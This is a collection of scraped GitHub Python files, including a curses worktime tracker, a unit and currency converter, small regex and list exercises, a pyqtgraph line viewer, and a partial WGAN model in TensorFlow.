self.stdscr.refresh()\n\n                if (self.timer.get_state() != \"Stopped\" and timer_menu[0] != \"Continue timer\"):\n                    timer_menu[0] = \"Continue timer\"\n\n            self.stdscr.clear()\n            UiBuilder.print_timer_menu(self.stdscr, timer_menu, current_row_idx, period.get_name(),\n                                       self.timer.get_state(), self.timer.get_elapsed_time())\n\n            self.stdscr.refresh()\n\n        # Saves the period to database\n        if (period.get_work_time() > 0):\n            self.db.insert_period_name(period)\n            period_name_id = self.db.get_period_name_id(period)\n            if not (self.periods_module.check_if_period_exists(period)):\n                self.periods_module.add_period(period)\n                try:\n                    self.db.insert_period(period, period_name_id[0])\n                except sqlite3.Error as e:\n                    print(e)\n            else:\n                self.periods_module.update_period_time(period, period.get_work_time())\n                self.db.update_period(period, period_name_id[0])\n\n\n    \"\"\"\n    Menu to scroll years of your saved periods\n\n    current_row_idx : int, index at the menu\n    \"\"\"\n    def periods_menu_years(self, current_row_idx):\n        period_years = []\n\n        for x in range(0, len(self.periods_module.get_periods())):\n            temp_time = time.strptime(self.periods_module.get_periods()[x].get_date(), \"%Y-%m-%d\")\n            if (str(temp_time.tm_year) not in period_years):\n                period_years.append(str(temp_time.tm_year))\n\n        self.stdscr.clear()\n        UiBuilder.scrollable_menu_list_items(self.stdscr, period_years, current_row_idx)\n        self.stdscr.refresh()\n        \n        while 1:\n\n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, period_years, 1)\n\n            if (key == curses.KEY_ENTER or key in [10, 13]):\n                if (len(period_years) != 0):\n                    self.periods_menu_months(0, period_years[current_row_idx])\n            elif (key in (curses.KEY_BACKSPACE, curses.KEY_LEFT)):\n                break\n\n            self.stdscr.clear()\n            UiBuilder.scrollable_menu_list_items(self.stdscr, period_years, current_row_idx)\n            self.stdscr.refresh()\n\n\n    '''\n    Menu to scroll months of your saved periods\n    '''\n    def periods_menu_months(self, current_row_idx, selected_year):\n        months_list = []\n        months_num = []\n\n        for x in range(0, len(self.periods_module.get_periods())):\n            temp_time = time.strptime(self.periods_module.get_periods()[x].get_date(), \"%Y-%m-%d\")\n            if (list_of_months[temp_time.tm_mon] not in months_list):\n                months_list.append(list_of_months[temp_time.tm_mon])\n                months_num.append(temp_time.tm_mon)\n\n        self.stdscr.clear()\n        UiBuilder.scrollable_menu_list_items(self.stdscr, months_list, current_row_idx)\n        self.stdscr.refresh()\n\n        while 1:\n\n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, months_list, 1)\n\n            if (key == curses.KEY_ENTER or key in [10, 13]):\n                self.stdscr.clear()\n                self.periods_view(0, selected_year, months_num[current_row_idx])\n            elif (key in (curses.KEY_BACKSPACE, curses.KEY_LEFT)):\n                break\n\n            self.stdscr.clear()\n            UiBuilder.scrollable_menu_list_items(self.stdscr, months_list, current_row_idx)\n            self.stdscr.refresh()\n\n\n    \"\"\"\n    Scrollable periods data view\n\n    current_row_idx : int, index of the scroll view\n    selected_year : int, year selected from the year menu\n    selected_month : int, month seleccted from the month menu\n    \"\"\"\n    def periods_view(self, current_row_idx, selected_year, selected_month):\n\n        periods_list = self.periods_module.get_periods_by_year_and_month(int(selected_year), selected_month)\n\n        self.stdscr.clear()\n        UiBuilder.print_period_data(current_row_idx, self.stdscr, selected_year, selected_month, periods_list)\n        self.stdscr.refresh()\n\n        while 1:\n\n            h, w = self.stdscr.getmaxyx()\n            data_sets_shown = (h-1)//4\n\n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, periods_list, data_sets_shown)\n\n            if (key in (curses.KEY_BACKSPACE, curses.KEY_LEFT)):\n                break\n\n            self.stdscr.clear()\n            UiBuilder.print_period_data(current_row_idx, self.stdscr, selected_year, selected_month, periods_list)\n            self.stdscr.refresh()\n\n\n    \"\"\"\n    View to export period data to csv or json file\n\n    current_row_idx : int, index of the menu\n    \"\"\"\n    def export_menu(self, current_row_idx):\n\n        export_menu_items = ['Csv', 'Json']\n        periods_amount = len(self.periods_module.get_periods())\n        self.exporter = ExportModule(self.periods_module.get_periods())\n\n        self.stdscr.clear()\n        if (periods_amount == 0):\n            UiBuilder.message_view(self.stdscr, \"Nothing to export yet, go back with BACKSPACE or LEFT key\")\n        else:\n            UiBuilder.scrollable_menu_list_items(self.stdscr, export_menu_items, current_row_idx)\n        self.stdscr.refresh()\n\n        while 1:\n\n            key = self.stdscr.getch()\n\n            current_row_idx = self.menu_scroll(key, current_row_idx, export_menu_items, 1)\n\n            if (key == curses.KEY_ENTER or key in [10, 13] and periods_amount != 0):\n                if (current_row_idx == 0):\n                    self.exporter.export_csv()\n                    UiBuilder.message_view(self.stdscr, \"Csv export was successful!\")\n                    time.sleep(1)\n                    break\n                elif (current_row_idx == 1):\n                    self.exporter.export_json()\n                    UiBuilder.message_view(self.stdscr, \"Json export was successful!\")\n                    time.sleep(1)\n                    break\n\n            elif (key in (curses.KEY_BACKSPACE, curses.KEY_LEFT)):\n                break\n\n            self.stdscr.clear()\n            if (periods_amount == 0):\n                UiBuilder.message_view(self.stdscr, \"Nothing to export yet, go back with BACKSPACE or LEFT key\")\n            else:\n                UiBuilder.scrollable_menu_list_items(self.stdscr, export_menu_items, current_row_idx)\n            self.stdscr.refresh()\n\n\n    \"\"\"\n    About view of the program\n    \"\"\"\n    def about_view(self):\n        self.stdscr.clear()\n        UiBuilder.about_view(self.stdscr)\n        self.stdscr.refresh()\n\n        while 1:\n\n            key = self.stdscr.getch()\n\n            if (key in (curses.KEY_BACKSPACE, curses.KEY_LEFT)):\n                break\n\n\n    \"\"\"\n    Logic to scroll the view\n\n    key : curses.KEY_*, key pressed in the menu\n    current_row_indx : int, menu index\n    menu_items : string list, items of the menu\n    remove_menu_items_arr_len : int, remove amount of length of the menu items to set last possible index of the menu\n    \"\"\"\n    def menu_scroll(self, key, current_row_idx, menu_items, remove_menu_items_arr_len):\n\n        if (key == curses.KEY_UP and current_row_idx == 0):\n            current_row_idx = 0\n        elif (key == curses.KEY_UP and current_row_idx > 0):\n            current_row_idx -= 1\n        elif (key == curses.KEY_DOWN and current_row_idx == (len(menu_items) - 1)):\n            current_row_idx = len(menu_items) - 1\n        elif (key == curses.KEY_DOWN and current_row_idx < (len(menu_items) - remove_menu_items_arr_len)):\n            current_row_idx += 1\n\n        return current_row_idx\n\n\nif __name__ == '__main__':\n    monitor = Monitor()\n    monitor.main()\n\n","repo_name":"SamiHei/worktime_monitor","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":12728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"35060618373","text":"# ============================Numbers============================\n# Unit Converter (temp, currency, volume, mass, and more)\n# Converts various units between one another. The user enters the type of unit being entered.\n# The type of unit they want to convert to and then the value.\n# The program will then make conversion.\nimport urllib.request\nimport json\n\n\ndef celsius_to_fahrenheit(num):\n    return (num * 9 / 5) + 32\n\n\ndef fahrenheit_to_celsius(num):\n    return (num - 32) * 5 / 9\n\n\ndef currency_exchange(con_from, con_to, value):\n    curr_page = urllib.request.urlopen(\n        'http://openexchangerates.org/api/latest.json?app_id=9f0710764c064370932f4f2496968c62')\n    obj = curr_page.read().decode(encoding='UTF-8')\n    content = json.loads(obj)\n    try:\n        from_to = content['rates'][con_from]\n        to = content['rates'][con_to]\n        amount = to / from_to\n        result = amount * value\n    except:\n        raise NameError\n    return result\n\n\ndef liter_to_milliliter(num):\n    return num * 1000\n\n\ndef milliliter_to_liter(num):\n    return num / 1000\n\n\ndef kilograms_to_grams(num):\n    return num * 1000\n\n\ndef grams_to_kilograms(num):\n    return num / 1000\n\n\ndef kilograms_to_pounds(num):\n    return num * 2.205\n\n\ndef pounds_to_kilograms(num):\n    return num / 2.205\n\n\ndef main():\n    value = 0\n    con_from = 0\n    con_to = 0\n    while True:\n        try:\n            options = int(input('Please, choose of these options: \\n'\n                                '1 for Celsius to Fahrenheit \\n'\n                                '2 for Fahrenheit to Celsius \\n'\n                                '3 for Currency Converter \\n'\n                                '4 for Liter to Milliliter \\n'\n                                '5 for Milliliter to Liter \\n'\n                                '6 for Kilograms to Grams \\n'\n                                '7 for Grams to Kilograms \\n'\n                                '8 for Kilograms to Pounds \\n'\n                                '9 for Pounds to Kilograms: '))\n            if options == 1:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = celsius_to_fahrenheit(value)\n                print(f'It is {answer}°F')\n            elif options == 2:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = fahrenheit_to_celsius(value)\n                print(f'It is {answer}°C')\n            elif options == 3:\n                while True:\n                    try:\n                        con_from = input('The currency to convert from: ')\n                        con_to = input('The currency to convert to: ')\n                        value = float(input('Enter some value that should be converted: '))\n                    except:\n                        print('Please provide correct inputs!')\n                        continue\n                    else:\n                        break\n                result = currency_exchange(con_from, con_to, value)\n                print(f'It is {result}')\n            elif options == 4:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = liter_to_milliliter(value)\n                print(f'It is {answer}mL')\n            elif options == 5:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = milliliter_to_liter(value)\n                print(f'It is {answer}L')\n            elif options == 6:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = kilograms_to_grams(value)\n                print(f'It is {answer}g')\n            elif options == 7:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = grams_to_kilograms(value)\n                print(f'It is {answer}kg')\n            elif options == 8:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = kilograms_to_pounds(value)\n                print(f'It is {answer}Ibs')\n            elif options == 9:\n                while True:\n                    try:\n                        value = float(input('Please, enter some value to convert: '))\n                    except:\n                        print('Provide correct inputs')\n                        continue\n                    else:\n                        break\n                answer = pounds_to_kilograms(value)\n                print(f'It is {answer}kg')\n        except:\n            print('Please choose from types provided!')\n            continue\n        else:\n            break\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"Botir-01/Python-3-mini-projects","sub_path":"Numbers/Unit_Converter.py","file_name":"Unit_Converter.py","file_ext":"py","file_size_in_byte":6294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34240144169","text":"# Normal reverse function with list\n\n\ndef str_reverse(list1, list2):\n    name = []\n    name2 = []\n    for i in list1:\n        name.append(i[::-1])\n    for j in list2:\n        name2.append(j[::-1])\n    return name, name2\n\n\nprint(str_reverse([\"izhar\", \"sheryar\"], [\"ahmed\", \"umair\"]))\n\n# Reverse Function with List comprehension\n\n\ndef str_reverse1(list1, list2):\n    name1 = [name[::-1] for name in list1]\n    name2 = [name[::-1] for name in list2]\n    return name1, name2\n\n\nprint(str_reverse([\"izhar\", \"shery\"], [\"ahmed\", \"umair\"]))\n","repo_name":"izharabbasi/Advance-python-learning","sub_path":"list_comprehension.py","file_name":"list_comprehension.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29228526219","text":"import urllib.request\n\n\n# API_ADDRESS = 'http://localhost:8100/image.png'\nAPI_ADDRESS = 'https://www.google.com/'\n\ndef download_image(url, file):\n    print('Downloading image from ', url)\n    return urllib.request.urlretrieve(url, file)\n\nif __name__ == '__main__':\n    for i in range(8):\n        image_name = f'./temp/image_{i}.jpg'\n        download_image(API_ADDRESS, image_name)\n\n","repo_name":"yushyn-andriy/algo","sub_path":"programming/python/concurrency/download_image_iteratively.py","file_name":"download_image_iteratively.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4916308828","text":"'''https://www.hackerrank.com/challenges/validating-credit-card-number/problem'''\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nimport re\nn = int(input())\nccnums = [input() for _ in range(n)] \nmatched_ccnums = []\npattern = re.compile(r'^[465]\\d{3}-?\\d{4}-?\\d{4}-?\\d{4}$')\nfor i in ccnums:\n    match = pattern.search(i)\n    if match:\n        matched_ccnums.append(match.group())\n    else:\n        matched_ccnums.append('None')\n#below logic makes sure there are no 4 consecutive digits\nfor i in matched_ccnums:\n    if '-' in i:\n        i = ''.join(i.split('-'))\n    s=set(i)\n    if any([n*4 in i for n in s]) or i=='None': #like 51-67-8912-3456 : Invalid, consecutive digits 3333 is repeating 4 times\n        print(\"Invalid\")\n    else:\n        print(\"Valid\")","repo_name":"reachabhi/python","sub_path":"practice_exercises/regex/hackerrank_7_credeitcardNum.py","file_name":"hackerrank_7_credeitcardNum.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5745482581","text":"#coding=utf-8\n\n'''\nThis file is only for demonstrate how to use convert tools to convert\nmxnet model to umodel.\n'''\nimport os\nos.environ['GLOG_minloglevel'] = '3'\nimport ufw.tools as tools\n\nmx_mobilenet = [\n    '-m', './models/mobilenet0.25-symbol.json',\n    '-w', './models/mobilenet0.25-0000.params',\n    '-s', '(1,3,128,128)',\n    '-d', 'compilation',\n    '-D', '../classify_demo/lmdb/imagenet_s/ilsvrc12_val_lmdb_with_preprocess',\n    '--cmp'\n]\n\nif __name__ == '__main__':\n    tools.mx_to_umodel(mx_mobilenet)\n","repo_name":"sophon-ai-algo/examples","sub_path":"calibration/mx_to_fp32umodel_demo/mobilenet0.25_to_umodel.py","file_name":"mobilenet0.25_to_umodel.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"en","doc_type":"code","stars":91,"dataset":"github-code","pt":"18"}
{"seq_id":"39328262951","text":"#!/usr/bin/env python3\nimport os\nimport sys\nfrom time import time\n\nimport glfw\nimport numpy as np\n\nimport modus as cm\nimport modus._modus as _cm\n\n\ndef hesse_diagram(graph, dot_file):\n    with open(dot_file, 'w') as dot:\n        G = []\n        G.append('graph {')\n        G.append('node [shape=none, label=\"\", style=none, color=\"0 0 0\", margin=0, width=0.2, height=0]')\n        G.append('splines=false')\n        G.append('layout=neato')\n        # G.append('P')\n        # G.append('E')\n\n        # Create ranks manually\n        rank_sep = 0.9\n        node_sep = 0.8\n        names = dict()\n        for k in range(0, graph.dim() + 2):\n            R_k = graph.rank(k)\n            n_k = len(R_k)\n            len_k = (n_k - 1) * node_sep\n            for i in range(n_k):\n                f = R_k[i]\n                sv = '\"' + f.sign_vector() + '\"'\n                if k == -1:\n                    sv = '0'\n                elif k == graph.dim() + 1:\n                    sv = '1'\n                x = -len_k/2 + i * node_sep\n                y = -rank_sep * k\n\n                svf = sv.replace('0', '00')\n                svf = svf.replace('-', '−0')\n                svf = svf.replace('+', '0−')\n                svf = svf.replace('−', 't')\n                svf = svf.replace('0', '−')\n                svf = svf.replace('t', '0')\n\n                if sv == '1':\n                    svf = '0'\n                if k == 0:\n                    svf = '1'\n\n                G.append(sv + ' [label=%s,pos=\"%f,%f!\"]' % (svf,x,y))\n                # G.append(sv + ' [pos=\"%f,%f!\"]' % (x,y))\n\n        # Create lattice\n        for k in range(0, graph.dim() + 2):\n            R_k = graph.rank(k)\n            n_k = len(R_k)\n            for i in range(n_k):\n                f = R_k[i]\n                f_sv = '\"' + f.sign_vector() + '\"'\n                if k == -1:\n                    f_sv = '0'\n                for g in f.superfaces():\n                    g_sv = '\"' + g.sign_vector() + '\"'\n                    if g.rank() ==  graph.dim() + 1:\n                        g_sv = '1'\n                    G.append(f_sv + ' -- ' + g_sv)\n        \n        G.append('}')\n\n        dot.write('\\n'.join(G) + '\\n')\n\ndef main():\n    if sys.argv[1] == 'cube':\n        # Create cube hyperplanes.\n        np.zeros((6, 3))\n        # Create graph.\n        # Create Hesse diagram.\n    elif sys.argv[1] == 'S2':\n        # Create hyperplanes.\n        H = np.identity(3)\n        d = np.zeros((3,1))\n        # Create arrangement.\n        A = _cm.build_arrangement(H, d, 1e-8)\n        A.update_sign_vectors(1e-8)\n        # Print sign vectors by rank.\n        # for k in range(0, A.dim() + 1):\n        #     n = len(A.sign_vectors(k))\n        #     R = A.rank(k)\n        #     for i in range(n):\n        #         print(R[i].sign_vector())\n        # Create Hesse diagram.\n        hesse_diagram(A, sys.argv[2])\n\nif __name__=='__main__':\n    main()","repo_name":"XianyiCheng/CMGMP","sub_path":"cmgmp/external/modus/apps/hesse_diagram.py","file_name":"hesse_diagram.py","file_ext":"py","file_size_in_byte":2892,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"}
{"seq_id":"7758132604","text":"import sys\nimport pyqtgraph as pg\n\nfrom PyQt5.QtWidgets import QApplication, QMainWindow, QWidget, QPushButton, QVBoxLayout, QSizePolicy\nfrom pyqtgraph import Point\n\nfrom adjusted_data_file import DataModel\n\n\nclass Viewer(QMainWindow):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n\n        self._central_widget = QWidget()\n        self._button = QPushButton('Push me to enter the coordinates')\n        self._button.setSizePolicy(QSizePolicy.Policy.Preferred, QSizePolicy.Policy.Preferred)\n\n        self._button1 = QPushButton('Push me to put the color')\n        self._button1.setSizePolicy(QSizePolicy.Policy.Preferred, QSizePolicy.Policy.Preferred)\n\n        self._plot_wdg = pg.PlotWidget(enableMenu=False, title=\"Moving lines\")\n\n        layout = QVBoxLayout()\n        layout.addWidget(self._button)\n        layout.addWidget(self._button1)\n        layout.addWidget(self._plot_wdg)\n        self._central_widget.setLayout(layout)\n        self.setCentralWidget(self._central_widget)\n        self.resize(800, 600)                                           # set the window size\n\n        self._data_model = None\n\n        self._button.clicked.connect(self.set_pos)                      # get pos from user\n        self._button.clicked.connect(self.send_moved_data)              # move this data to data_file\n        self._button1.clicked.connect(self.set_color)                   # get color of each line from user\n        self._plot_wdg.setRange(xRange=[-10, 10], yRange=[-10, 10])     # set the coordinate system\n\n        # creating 2 movable lines\n        self._mouseline = pg.LineSegmentROI([[1, 1], [10, 2]], movable=True, rotatable=False, pen=(1, 10))\n        self._second_mouseline = pg.LineSegmentROI([[4, 4], [13, 5]], movable=True, rotatable=False, pen=(2, 4))\n\n        # making them unmovable when holding the handles\n        handles = self._mouseline.handles\n        for handle in handles:\n            handle['item'].disconnectROI(self._mouseline)\n        handles = self._second_mouseline.handles\n        for handle in handles:\n            handle['item'].disconnectROI(self._second_mouseline)\n\n        self._plot_wdg.addItem(self._mouseline)\n        self._plot_wdg.addItem(self._second_mouseline)\n        self._mouseline.sigRegionChanged.connect(self.send_moved_data)   # sending data///\n\n        self._points_data = None\n        self._updated_data = None\n        self._flag_point = False\n        self._state_for_second = None\n        self._points_data_second = None\n        self._moved_data_second = None\n        self._pos = [0, 0]\n        self._p1, self._p2, self._c1, self._c2, self._c3, self._c4 = None, None, None, None, None, None\n\n        # dicts for error control\n        self._colors = {'yellow': (2, 10), 'red': (1, 1), 'orange': (1, 10), 'green': (1, 3), 'blue': (2, 4),\n                        'dark blue': (2, 3)}\n        self._color_palette = ['yellow', 'red', 'orange', 'green', 'blue', 'dark blue']\n\n    def set_data_model(self, dm: DataModel):\n        self._data_model = dm\n\n        self._data_model.coordinate_changed.connect(self._on_model_points_changed)  # to draw for the 1st time\n        self._data_model.coordinate_moved.connect(self.send_moved_data)             # sending data to a data_file\n        self._data_model.coordinate_moved.connect(self.catch_up_movement)           # making 2nd line move together\n                                                                                    # with the 1st\n\n        self._data_model.generate_new_coordinates()  # by calling this func, signal crd_changed emits\n\n    def _on_model_points_changed(self):\n        # when points change, we 'draw' lines, when entered for the 1st time, _pos == [0,0], else statement works\n        # if we moved line by ourselves, _pos acquires points, thus _pos != [0, 0]\n        if self._pos != [0, 0]:\n            self._x1 = int(self._pos[0])                    # in line 150 we get _pos value\n            self._y1 = int(self._pos[1])\n            self._x2 = int(self._pos[2])\n            self._y2 = int(self._pos[3])\n        else:\n            crdn = self._data_model.coordinates()           # getting coordinates from data_file, which were\n            self._x1 = crdn[0]                              # generated randomly\n            self._y1 = crdn[1]\n            self._x2 = crdn[2]\n            self._y2 = crdn[3]\n\n        self.drawing_lines(True)\n\n    def drawing_lines(self, statement):\n        # If we move 1st line (which moves both lines), we set coordinates for both lines / statement == True\n        # If we move 2nd line, we set pos only for 2nd line                               / statement == False\n        if statement:\n            state = {'pos': Point(0.000000, 0.000000), 'size': Point(1.000000, 1.000000), 'angle': 0.0,\n                     'points': [Point(self._x1, self._y1), Point(self._x2, self._y2)]}\n            self._state_for_second = {'pos': Point(0.000000, 0.000000), 'size': Point(1.000000, 1.000000), 'angle': 0.0,\n                                      'points': [Point(self._x1 + 3, self._y1 + 3), Point(self._x2 + 3, self._y2 + 3)]}\n\n            self._mouseline.setState(state)\n            self._second_mouseline.setState(self._state_for_second)\n\n        else:\n            self._state_for_second = {'pos': Point(self._p1, self._p2), 'size': Point(1.000000, 1.000000), 'angle': 0.0,\n                                      'points': [Point(self._c1, self._c2), Point(self._c3, self._c4)]}\n            \n            self._second_mouseline.setState(self._state_for_second)\n\n    def send_moved_data(self):\n        # _flag_point being used for loop avoidance\n        if not self._flag_point:\n            self._points_data = self._mouseline.getState()  # here, we get a dict, which has multiple elements,\n            p1 = self._points_data['pos'][0] + self._x1     # but only pos is needed\n            p2 = self._points_data['pos'][1] + self._y1\n            p3 = self._points_data['pos'][0] + self._x2\n            p4 = self._points_data['pos'][1] + self._y2\n\n            self._updated_data = [p1, p2, p3, p4]\n            self._flag_point = True\n            self._data_model.moved_data_acquiring(self._updated_data)\n            self._flag_point = False\n\n    def catch_up_movement(self):\n        # here we get coordinates to move 2nd line, when 1st being dragged by user\n        self._points_data_second = self._second_mouseline.getState()\n\n        self._p1 = self._points_data_second['pos'][0]  # self._p1/self._p2 variables for translocation\n        self._p2 = self._points_data_second['pos'][1]\n\n        self._c1 = self._points_data['pos'][0] + self._x1 + 3  # _c - variables for coordinates\n        self._c2 = self._points_data['pos'][1] + self._y1 + 3\n        self._c3 = self._points_data['pos'][0] + self._x2 + 3\n        self._c4 = self._points_data['pos'][1] + self._y2 + 3\n\n        self.drawing_lines(False)\n\n    def set_color(self):\n        # getting color from data_file\n        color_1, color_2 = self._data_model.set_color()\n        if color_1 and color_2 in self._color_palette:              # checking if word from user matches\n            self._mouseline.setPen(self._colors[color_1])           # the value from dic\n            self._second_mouseline.setPen(self._colors[color_2])\n        else:\n            print(\"wrong color or you've made a typo, try again\")\n\n    def set_pos(self):\n        # getting coordinates from data_file\n        self._pos = self._data_model.set_pos()\n        if self._pos is not None:                               # checks, if user entered everything correctly\n            self._on_model_points_changed()\n\n\nif __name__ == '__main__':\n    app = QApplication(sys.argv)\n    view = Viewer()\n    data_model = DataModel()\n    view.set_data_model(data_model)\n    view.show()\n    sys.exit(app.exec_())\n","repo_name":"Teammasik/pyqtgraph","sub_path":"signal_adjusted_version.py","file_name":"signal_adjusted_version.py","file_ext":"py","file_size_in_byte":7804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"3901315420","text":"import tensorflow as tf\nfrom tensorflow.keras.models import Model, load_model\nfrom tensorflow.keras.layers import (\n    Conv2D,\n    LeakyReLU,\n    Dropout,\n    BatchNormalization,\n    Flatten,\n    Dense,\n    Activation,\n    Input,\n    Reshape,\n    Conv2DTranspose,\n    UpSampling2D\n)\nimport numpy as np\nimport datetime\nimport os\nfrom IPython.display import clear_output\nimport matplotlib.pyplot as plt\n\n\nclass WGAN():\n    def __init__(self, dataset, lr=5e-5, c=0.01, m=64, n_critic=5, min_z=-1.0, max_z=1.0, step=0):\n        # Config\n        self.lr = lr\n        self.c = c\n        self.m = m\n        self.n_critic = n_critic\n        self.min_z = min_z\n        self.max_z = max_z\n        \n        # Models\n        self.C = self.critic()\n        self.G = self.generator()\n\n        # Losses\n        # self.C_loss_ = None\n        # self.G_loss_ = None\n        self.C_loss_ = tf.keras.metrics.Mean('C_loss', dtype=tf.float32)\n        self.G_loss_ = tf.keras.metrics.Mean('G_loss', dtype=tf.float32)\n\n        # Data\n        self.dataset = dataset\n        self.data_iter = tf.compat.v1.data.make_one_shot_iterator(dataset)\n        \n        # Optimizers\n        self.C_opt = tf.keras.optimizers.RMSprop(learning_rate=self.lr)\n        self.G_opt = tf.keras.optimizers.RMSprop(learning_rate=self.lr)\n\n    @tf.function\n    def C_loss(self, C_real, C_fake):\n        return tf.reduce_mean(C_real) - tf.reduce_mean(C_fake)\n\n    @tf.function\n    def G_loss(self, C_fake):\n        return tf.reduce_mean(C_fake)\n    \n    @tf.function\n    def C_grad(self, real_inp, fake_inp):\n        with tf.GradientTape() as tape:\n            C_real = self.C(real_inp, training=True)\n            C_fake = self.C(fake_inp, training=True)\n            loss = self.C_loss(C_real, C_fake)\n            self.C_loss_(loss)\n        return tape.gradient(loss, self.C.trainable_variables)\n    \n    @tf.function\n    def G_grad(self, z):\n        with tf.GradientTape() as tape:\n            fake = self.G(z, training=True)\n            C_fake = self.C(fake, training=True)\n            loss = self.G_loss(C_fake)\n            self.G_loss_(loss)\n        return tape.gradient(loss, self.G.trainable_variables)\n    \n    def clip_weights(self):\n        for l in self.C.layers:\n            weights = l.get_weights()\n            weights = [np.clip(w, -self.c, self.c) for w in weights]\n            l.set_weights(weights)\n    \n    def clip_weight(self, w):\n        return tf.clip_by_value(w, -self.c, self.c)\n\n    @tf.function\n    def C_train_on_batch(self):\n        z = tf.random.uniform((self.m, 100,), self.min_z, self.max_z)\n        fake_inp = self.G(z, training=False)\n        real_inp = self.get_data_batch()\n        grad = self.C_grad(real_inp, fake_inp)\n        self.C_opt.apply_gradients(zip(grad, self.C.trainable_variables))\n    \n    @tf.function\n    def G_train_on_batch(self):\n        z = tf.random.uniform((self.m, 100,), self.min_z, self.max_z)\n        grad = self.G_grad(z)\n        self.G_opt.apply_gradients(zip(grad, self.G.trainable_variables))\n\n    @tf.function\n    def get_data_batch(self):\n        return self.data_iter.get_next()\n\n    def C_load(self, fp):\n        self.C.load_weights(fp)\n    \n    def G_load(self, fp):\n        self.G.load_weights(fp)\n    \n    # def train(self, steps=100):\n    #     for step in range(0, steps):\n    #         for i in range(0,5):\n    #             self.C_train_on_batch()\n    #             self.clip_weights()\n    #         self.G_train_on_batch()\n    #         tf.summary.scalar('C_loss', self.C_loss_, step=step)\n    #         tf.summary.scalar('G_loss', self.G_loss_, step=step)\n                \n    #         if step % 50 == 0:\n    #             clear_output(wait=True)\n    #             noise = np.random.uniform(-1.0, 1.0, size=(5,100,))\n    #             fake_batch = self.G(noise, training=False)\n    #             fig = plt.figure()\n    #             plt.axis('off')\n    #             fake_batch = (fake_batch + 1) / 2\n    #             plt.imshow((fake_batch[1]))\n    #             plt.savefig(f'{image_dir}/{step}.png')\n                \n    #         print(f\"[Step: {step}]\")\n\n    def critic(self):\n        dropout_prob = .4\n\n        inputs = Input(shape=(128, 128, 3))\n\n        # Input size = 128x128x3\n        x = Conv2D(filters=128, kernel_size=5, padding='same', strides=(2, 2), use_bias=False)(inputs)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 64x64x128\n\n        # Input size = 64x64x128\n        x = Conv2D(filters=128, kernel_size=5, padding='same', strides=(2, 2), use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 32x32x256\n\n        # Input size = 32x32x128\n        x = Conv2D(filters=256, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 32x32x256\n\n        # Input size = 32x32x128\n        x = Conv2D(filters=256, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 32x32x256\n\n        # Input size = 32x32x128\n        x = Conv2D(filters=256, kernel_size=5, padding='same', strides=(2,2), use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 16x16x256\n\n        # Input size = 16x16x128\n        x = Conv2D(filters=256, kernel_size=5, padding='same', strides=(2, 2), use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 8x8x256\n\n        # Input size = 8x8x256\n        x = Conv2D(filters=512, kernel_size=5, strides=(2, 2), padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 4x4x512\n\n        # Input size = 4x4x512\n        x = Conv2D(filters=1024, kernel_size=5, padding='same', use_bias=False)(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 4x4x1024\n\n        # Input size = 4x4x1024\n        x = Flatten()(x)\n        out = Dense(1)(x)\n\n        net = Model(inputs=inputs, outputs=out)\n\n        return net\n    \n    def generator(self):\n        # Input size = 100\n        inputs = Input(shape=(100,))\n        x = Dense(4*4*1024, input_shape=(100,))(inputs)\n        x = Reshape(target_shape=(4, 4, 1024))(x)\n        x = BatchNormalization()(x)\n        x = LeakyReLU(0.02)(x)\n        # Output size = 4x4x1024\n\n        # Input size = 4x4x1024\n        x = Conv2D(filters=512, kernel_size=5, padding='same', 